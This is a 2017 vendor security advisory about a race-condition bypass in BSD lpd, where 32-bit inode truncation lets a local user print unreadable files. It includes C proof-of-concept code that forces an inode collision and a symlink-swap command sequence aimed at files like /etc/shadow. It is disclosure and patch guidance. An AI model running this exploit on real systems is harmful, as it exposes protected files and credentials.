	Authorisation. Jason Edelstein
	Release date. 23 October 2017.

Sense of Security – Security Advisory – SOS-17-002.

LPD – Security Bypass Through Race Condition.

23 October 2017.

BSD lpd Access Control Bypass - Security Advisory - SOS-17-002

Release Date.	23-Oct-2017
Last Update.	-
Vendor Notification Date.	20-Sep-2017
Product.	LPR
Platform.	BSD
Affected versions.	OpenBSD until version 6.1 inclusive FreeBSD version 11.1 and earlier All downstream packages based on CVS 1.58 or earlier
Severity Rating.	Medium
Impact.	Exposure of sensitive information Security bypass
Attack Vector.	From local system
Solution Status.	Upstream patch
CVE reference.	CVE- Not yet assigned

Details.

On BSD systems the printing daemon (lpd) runs with root privileges and can read any file or object in the system in order to serve its contents to the printer. To prevent users from taking advantage of the daemon's privileges to print any arbitrary file, the print request submission command (lpr) implements an ad-hoc access control check. When a user invokes lpr to print any given file, lpr checks whether that user can read the requested file by opening it for reading. If that succeeds, lpr then puts the print job in lpd's queue.

This approach was previously subject to a known race condition vulnerability, in which the attacker proceeded as follows:

1. Temporarily disable the printer (by unplugging it, sending a lengthy print job, etc.);
2. Request the printing of a file through a symbolic link (lpr -s);
3. Replace the file to print with a symbolic link to another file, which the attacker is not allowed to read (e.g. /etc/shadow); and
4. Once the printer becomes available, the unauthorised target file is thus printed.

Current versions seek to prevent this attack by letting lpr store the printed file's inode number in the print job (CF) file alongside the requested file name, and having lpd ensure that it has not changed before the actual printing starts (i.e. that the name still refers to the same actual file).

However this remains vulnerable. The bug occurs in usr.sbin/lpr/lpd/printjob.c, line 428:

```
fino = i;
```

where "fino" is the inode number extracted from the print job's CF file, with which the actual file's inode number is compared. As of revision 1.58 available in the OpenBSD CVS, the variable "i" is declared "int" (line 337), so it remains a 32-bit integer even on amd64 systems (among other 64-bit architectures). Consequently the inode number comparison for symlink print jobs is effectively truncated to 32 bits.

On a 64-bit filesystem with dynamic inode allocation, it is thus possible for an attacker to find or create a file whose inode number's lower 32 bits will match the inode number of another file, in particular a file the attacker is not allowed to access. If the latter file's inode number is lower than 2^32, the check will pass and the attacker will be able to print the file.

Proof of Concept.

1. Create a file with an inode number collision ("collision.txt") with the target file ("secret.txt"):

```
static void collide_ino(const int ino, const int n) {
        const int FNLEN = 128;
        char fname[FNLEN];

        struct stat stbuf;

        for (int k = 0; k < n; k++) {
                snprintf(fname, FNLEN, "f%x", k);
                FILE* f = fopen(fname, "w");
                if (f) {
```

```
                        if (fstat(fileno(f), &stbuf)) {
                                // error
                        }
                        else if (ino == (int) stbuf.st_ino) {
                                printf("\n\nMATCH:       %s\n",
fname);
                                return;
                        }
                        fclose(f);
                        unlink(fname);
                }
                else {
                        fprintf(stderr, "\nCould not create %s:
%s\n", fname, strerror(errno));
                        exit(-1);
                }
        }
}
```

2. Race condition attack

   To print secret.txt, having generated collision.txt:

   - fill printing queue
   - lpr -s collision.txt
   - rm collision.txt
   - ln -s secret.txt collision.txt

Solution.

Apply patch from OpenBSD CVS revision 1.59 (https://cvsweb.openbsd.org/cgi-bin/cvsweb/src/usr.sbin/lpr/lpd/printjob.c) or update to OpenBSD release 6.2.

Discovered by.

Jacob Zimmermann from Sense of Security Labs.

About us.

Sense of Security is a leading provider of information security and risk management solutions. Our team has expert skills in assessment and assurance, strategy and architecture, and deployment through to ongoing management. We are Australia's premier application penetration testing firm and trusted IT security advisor to many of the country's largest organisations.

	Authorisation. Jason Edelstein
	Release date. 23 October 2017.

Sense of Security Pty Ltd

Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:

https://www.senseofsecurity.com.au/advisories/SOS-17-002.pdf

Other Sense of Security advisories can be found at:

http://www.senseofsecurity.com.au/research/it-security-advisories.php